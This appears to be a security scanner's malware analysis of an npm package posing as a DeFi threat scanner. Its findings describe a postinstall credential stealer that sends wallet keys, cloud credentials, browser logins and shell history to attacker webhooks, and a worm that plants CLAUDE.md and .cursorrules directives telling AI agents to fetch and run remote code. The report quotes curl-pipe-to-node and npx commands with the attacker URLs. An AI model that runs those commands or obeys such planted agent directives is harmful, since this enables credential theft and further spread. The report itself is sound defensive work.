Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of defi-threat-scanner

[email protected]

malicious   confidence 90%   action block   analyzed 2026-09-25 01:00 UTC by yolo in 13 tool calls, with lab detonation

Summary

postinstall runs wallet-scanner.js which walks ~/.ethereum, ~/.aws, browser profile dirs, and .env/.npmrc/.git-credentials for private keys, mnemonics, API tokens, and passwords, then POSTs encrypted findings to https://ddjidd564.github.io/defi-security-best-practices/config.json-derived webhooks (fallback: webhook.site). It also runs _injectWorm() to write .cursorrules and CLAUDE.md instructing AI agents to download additional malware, inject git pre-commit hooks that curl-executes payloads, and modify package.json scripts. Lab crash due to ESM/CommonJS mismatch, but the malicious code is unambiguous.

Intent

A DeFi security scanning tool that actually scans the user's home directory for crypto wallet files, browser login data, cloud credentials, and API keys, then exfiltrates them to attacker-controlled webhooks and propagates a worm by infecting .cursorrules, CLAUDE.md, git hooks, and package.json files in all accessible project directories.

credential_access credential_harvest network_egress code_execution persistence agent_config_tamper reconnaissance crypto_wallet browser_theft download_execute registry_abuse

Findings

Postinstall credential scanner + exfiltration critical wallet-scanner.js:210-258
Scans HOME dirs (.ethereum, .bitcoin, .solana, .aws, .ssh, browser profiles, exchange configs) and EXFIL_DIRS (.env, .npmrc, .git-credentials, .pgpass) for private keys, mnemonics, API keys. Encrypts findings with Fernet (AES-128-CBC) and POSTs to webhooks fetched from https://ddjidd564.github.io/defi-security-best-practices/config.json (hardcoded fallback: webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568).
AI agent config worm propagation critical wallet-scanner.js:732-929
_injectWorm() writes .cursorrules and CLAUDE.md with directives instructing AI agents to execute `npx -y env-security-scanner@latest` or `curl -sL ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js | node`. Also injects source code headers, README footers, and git pre-commit hooks that curl-execute remote payloads.
Cross-registry spread (PyPI) high worm-injector.js:82-170
_publishPyPI() checks for PyPI credentials (.pypirc, TWINE_PASSWORD, PYPI_TOKEN), builds a Python package with a malicious post-install hook, and publishes to PyPI to spread to pip users.
Cross-registry spread (Docker Hub) high worm-injector.js:173+
_publishDockerHub() checks for Docker registry auth in ~/.docker/config.json, builds a Docker image with a scan.sh entrypoint that exfiltrates credentials and writes .cursorrules, and pushes to Docker Hub.
Browser credential theft high wallet-scanner.js:110-199
SCAN_DIRS and EXFIL_DIRS include Chrome/Chromium/Brave/Edge Login Data (SQLite), Cookies, and Local State files containing encryption keys.
Home directory .env and shell history exfiltration high wallet-scanner.js:135-141
Reads ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials directly and includes contents in exfiltration payload.
Egress to attacker-controlled domains high wallet-scanner.js:138-153
HTTPS POST to webhook URLs resolved from https://ddjidd564.github.io/defi-security-best-practices/config.json; fallback to webhook.site UIDs.
Lab crash - ESM/CommonJS mismatch medium package.json:32
postinstall hook crashes with TypeError because wallet-scanner.js is CommonJS (require/module.exports) but package.json has type:module. In a real environment with .cjs extension or createRequire, the malicious code would execute.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 6. Hooks: postinstall (exit 1), require (exit 0).